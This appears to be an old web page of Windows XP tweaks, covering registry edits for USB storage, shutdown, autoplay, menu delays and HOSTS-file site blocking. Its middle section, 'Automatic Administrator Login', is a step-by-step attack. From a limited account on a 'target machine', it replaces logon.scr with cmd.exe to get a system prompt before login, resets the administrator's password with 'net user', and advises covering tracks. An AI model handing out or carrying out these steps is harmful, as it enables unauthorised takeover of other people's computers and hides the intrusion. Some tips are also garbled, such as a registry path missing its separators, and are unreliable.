1. Start -> Run -> regedit ->Find the Hkey_Local_Machine>System>Current Control set>Services>USBStor.
2. Look at the right pain and find out the Start where value of the start would be 0000000(3) edit the value by double mouse click and type 4 and save.
3. Restart your computer.
Automatically Kill Programs At Shutdown
don’t you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.
GPEDIT.MSC And Autoplay
A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run… and then type in ‘gpedit.msc’ and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value ‘Turn Off Autoplay’. Right-click on it and then click ‘Properties’.
Menu Delays
Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run…, then typing ‘regedit’ and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay – all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.
Automatic Administrator Login
Well here’s the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system.
Hacking the system registry from any account having access to system registry puts you in to the administrator
account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
“AutoAdminLogon”=”1”
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
“net user <admin account name here> password”
If the Administrator Account is called James and you want the password Black enter this
“net user James Black”
and this changes the password on James machine to Black and your in.
Enjoy
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Steps:
1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named “HOSTS”
3] Open it in notepad
4] Under “127.0.0.1 localhost” Add 127.0.0.2 http://www.sitenameyouwantblocked.com , and that site will no longer be accessible.
5] Done!
-So-
127.0.0.1 localhost
127.0.0.2 http://www.blockedsite.com
–>www.blockedsite.com is now unaccessible<–
For every site after that you want to add, just add “1” to the last number in the internal ip (127.0.0.2) and then the add like before.
IE: 127.0.0.3 http://www.yahoo.com
127.0.0.4 http://www.google.com
127.0.0.5 http://www.hotmail.com
